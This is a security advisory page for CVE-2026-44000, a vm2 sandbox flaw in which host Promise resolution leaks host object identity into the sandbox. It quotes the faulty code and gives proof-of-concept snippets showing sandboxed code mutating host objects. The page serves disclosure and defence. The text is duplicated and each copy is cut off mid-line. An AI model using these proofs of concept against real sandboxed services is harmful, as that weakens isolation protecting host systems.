CVE-2026-44000

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, a sandbox boundary violation in vm2 allows host object identity to cross into the sandbox through host Promise resolution. When a host-side Promise that resolves to a host object is exposed to the sandbox, the value delivered to the sandbox .then() callback preserves host identity. This allows the sandbox to interact with the host object directly, including performing identity checks using host-side WeakMap and mutating host object state from inside the sandbox. This behavior occurs because the Promise fulfillment wrapper uses ensureThis() instead of the stronger cross-realm conversion path (from() / proxy wrapping). If no prototype mapping is found, ensureThis() returns the original object. As a result, objects resolved by host Promises can cross the sandbox boundary without proper isolation. This vulnerability is fixed in 3.11.0.

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, a sandbox boundary violation in vm2 allows host object identity to cross into the sandbox through host Promise resolution. When a host-side Promise that resolves to a host object is exposed to the sandbox, the value delivered to the sandbox .then() callback preserves host identity. This allows the sandbox to interact with the host object directly, including performing identity checks using host-side WeakMap and mutating host object state from inside the sandbox. This behavior occurs because the Promise fulfillment wrapper uses ensureThis() instead of the stronger cross-realm conversion path (from() / proxy wrapping). If no prototype mapping is found, ensureThis() returns the original object. As a result, objects resolved by host Promises can cross the sandbox boundary without proper isolation. This vulnerability is fixed in 3.11.0.

Summary

A sandbox boundary violation in vm2 allows host object identity to cross into the sandbox through host Promise resolution.

When a host-side Promise that resolves to a host object is exposed to the sandbox, the value delivered to the sandbox .then() callback preserves host identity. This allows the sandbox to interact with the host object directly, including:

• Performing identity checks using host-side WeakMap
• Mutating host object state from inside the sandbox

This behavior occurs because the Promise fulfillment wrapper uses ensureThis() instead of the stronger cross-realm conversion path (from() / proxy wrapping). If no prototype mapping is found, ensureThis() returns the original object.

As a result, objects resolved by host Promises can cross the sandbox boundary without proper isolation.

Details

In setup-sandbox.js, vm2 wraps Promise.prototype.then:

globalPromise.prototype.then = function then(onFulfilled, onRejected) {
  resetPromiseSpecies(this);

  if (typeof onFulfilled === 'function') {
    const origOnFulfilled = onFulfilled;
    onFulfilled = function onFulfilled(value) {
      value = ensureThis(value);
      return apply(origOnFulfilled, this, [value]);
    };
  }

  return apply(globalPromiseThen, this, [onFulfilled, onRejected]);
};


The wrapper calls ensureThis(value) before invoking the sandbox callback.

However, ensureThis is implemented in bridge.js as thisEnsureThis():

function thisEnsureThis(other) {
  const type = typeof other;

  switch (type) {
    case 'object':
      if (other === null) return null;

    case 'function':
      let proto = thisReflectGetPrototypeOf(other);

      if (!proto) {
        return other;
      }

      while (proto) {
        const mapping = thisReflectApply(thisMapGet, protoMappings, [proto]);

        if (mapping) {
          const mapped = thisReflectApply(thisWeakMapGet, mappingOtherToThis, [other]);
          if (mapped) return mapped;
          return mapping(defaultFactory, other);
        }

        proto = thisReflectGetPrototypeOf(proto);
      }

      return other;

If no prototype mapping is found, ensureThis() simply returns the original object:

return other;

This means the sandbox receives the original host object instead of a proxied or sanitized representation.

Because of this behavior, values resolved by host Promises can cross the host–sandbox boundary with identity preserved.

PoC

The following Proof of Concept demonstrates that an object resolved by a host Promise can be used as a valid key in a host-side WeakMap from inside the sandbox.

WeakMap keys rely on reference identity, so a successful lookup proves that the sandbox received the host object identity.

PoC Code
import {VM} from "./index.js";

const hostObj = {tag: "HOST_OBJ"};
const hostPromise = Promise.resolve(hostObj);

// WeakMap created on the host
const wm = new WeakMap([[hostObj, "HIT"]]);

const vm = new VM({
  sandbox: {hostPromise, wm},
  timeout: 1000,
  eval: false,
  wasm: false,
});

const code = `
  hostPromise.then(v => ({
    weakMapGet: wm.get(v),
    typeofV: typeof v,
    tag: v.tag
  }))
`;

const result = await vm.run(code);

console.log("VM RESULT:", result);
console.log("HOST SAME KEY STILL:", wm.get(hostObj));
Output
VM RESULT: { weakMapGet: 'HIT', typeofV: 'object', tag: 'HOST_OBJ' }
HOST SAME KEY STILL: HIT

This confirms that the object delivered to the sandbox callback retains host identity.

Additional Demonstration: Host Object Mutation

The sandbox can also mutate host object state through the resolved Promise value.

import {VM} from "./index.js";

const hostObj = {tag: "HOST_OBJ", nested: {x: 1}};
const hostPromise = Promise.resolve(hostObj);

const vm = new VM({
  sandbox: {hostPromise},
  timeout: 1000,
  eval: false,
  wasm: false,
});

const code = `
  hostPromise.then(v => {
    v.nested.x = 999;
    v.tag = "MUTATED";
    return { seenTag: v.tag, seenX: v.nested.x };
  })
`;

const result =…

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, a sandbox boundary violation in vm2 allows host object identity to cross into the sandbox through host Promise resolution. When a host-side Promise that resolves to a host object is exposed to the sandbox, the value delivered to the sandbox .then() callback preserves host identity. This allows the sandbox to interact with the host object directly, including performing identity checks using host-side WeakMap and mutating host object state from inside the sandbox. This behavior occurs because the Promise fulfillment wrapper uses ensureThis() instead of the stronger cross-realm conversion path (from() / proxy wrapping). If no prototype mapping is found, ensureThis() returns the original object. As a result, objects resolved by host Promises can cross the sandbox boundary without proper isolation. This vulnerability is fixed in 3.11.0.

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, a sandbox boundary violation in vm2 allows host object identity to cross into the sandbox through host Promise resolution. When a host-side Promise that resolves to a host object is exposed to the sandbox, the value delivered to the sandbox .then() callback preserves host identity. This allows the sandbox to interact with the host object directly, including performing identity checks using host-side WeakMap and mutating host object state from inside the sandbox. This behavior occurs because the Promise fulfillment wrapper uses ensureThis() instead of the stronger cross-realm conversion path (from() / proxy wrapping). If no prototype mapping is found, ensureThis() returns the original object. As a result, objects resolved by host Promises can cross the sandbox boundary without proper isolation. This vulnerability is fixed in 3.11.0.

Summary

A sandbox boundary violation in vm2 allows host object identity to cross into the sandbox through host Promise resolution.

When a host-side Promise that resolves to a host object is exposed to the sandbox, the value delivered to the sandbox .then() callback preserves host identity. This allows the sandbox to interact with the host object directly, including:

• Performing identity checks using host-side WeakMap
• Mutating host object state from inside the sandbox

This behavior occurs because the Promise fulfillment wrapper uses ensureThis() instead of the stronger cross-realm conversion path (from() / proxy wrapping). If no prototype mapping is found, ensureThis() returns the original object.

As a result, objects resolved by host Promises can cross the sandbox boundary without proper isolation.

Details

In setup-sandbox.js, vm2 wraps Promise.prototype.then:

globalPromise.prototype.then = function then(onFulfilled, onRejected) {
  resetPromiseSpecies(this);

  if (typeof onFulfilled === 'function') {
    const origOnFulfilled = onFulfilled;
    onFulfilled = function onFulfilled(value) {
      value = ensureThis(value);
      return apply(origOnFulfilled, this, [value]);
    };
  }

  return apply(globalPromiseThen, this, [onFulfilled, onRejected]);
};


The wrapper calls ensureThis(value) before invoking the sandbox callback.

However, ensureThis is implemented in bridge.js as thisEnsureThis():

function thisEnsureThis(other) {
  const type = typeof other;

  switch (type) {
    case 'object':
      if (other === null) return null;

    case 'function':
      let proto = thisReflectGetPrototypeOf(other);

      if (!proto) {
        return other;
      }

      while (proto) {
        const mapping = thisReflectApply(thisMapGet, protoMappings, [proto]);

        if (mapping) {
          const mapped = thisReflectApply(thisWeakMapGet, mappingOtherToThis, [other]);
          if (mapped) return mapped;
          return mapping(defaultFactory, other);
        }

        proto = thisReflectGetPrototypeOf(proto);
      }

      return other;

If no prototype mapping is found, ensureThis() simply returns the original object:

return other;

This means the sandbox receives the original host object instead of a proxied or sanitized representation.

Because of this behavior, values resolved by host Promises can cross the host–sandbox boundary with identity preserved.

PoC

The following Proof of Concept demonstrates that an object resolved by a host Promise can be used as a valid key in a host-side WeakMap from inside the sandbox.

WeakMap keys rely on reference identity, so a successful lookup proves that the sandbox received the host object identity.

PoC Code
import {VM} from "./index.js";

const hostObj = {tag: "HOST_OBJ"};
const hostPromise = Promise.resolve(hostObj);

// WeakMap created on the host
const wm = new WeakMap([[hostObj, "HIT"]]);

const vm = new VM({
  sandbox: {hostPromise, wm},
  timeout: 1000,
  eval: false,
  wasm: false,
});

const code = `
  hostPromise.then(v => ({
    weakMapGet: wm.get(v),
    typeofV: typeof v,
    tag: v.tag
  }))
`;

const result = await vm.run(code);

console.log("VM RESULT:", result);
console.log("HOST SAME KEY STILL:", wm.get(hostObj));
Output
VM RESULT: { weakMapGet: 'HIT', typeofV: 'object', tag: 'HOST_OBJ' }
HOST SAME KEY STILL: HIT

This confirms that the object delivered to the sandbox callback retains host identity.

Additional Demonstration: Host Object Mutation

The sandbox can also mutate host object state through the resolved Promise value.

import {VM} from "./index.js";

const hostObj = {tag: "HOST_OBJ", nested: {x: 1}};
const hostPromise = Promise.resolve(hostObj);

const vm = new VM({
  sandbox: {hostPromise},
  timeout: 1000,
  eval: false,
  wasm: false,
});

const code = `
  hostPromise.then(v => {
    v.nested.x = 999;
    v.tag = "MUTATED";
    return { seenTag: v.tag, seenX: v.nested.x };
  })
`;

const result =…

Root has patched CVE-2026-44000 in the vm2 package for Root:npm. Multiple fixed versions available.

TuxCare rebuilt vm2 to address 34 CVEs. Fixed in 3.10.0-tuxcare.1.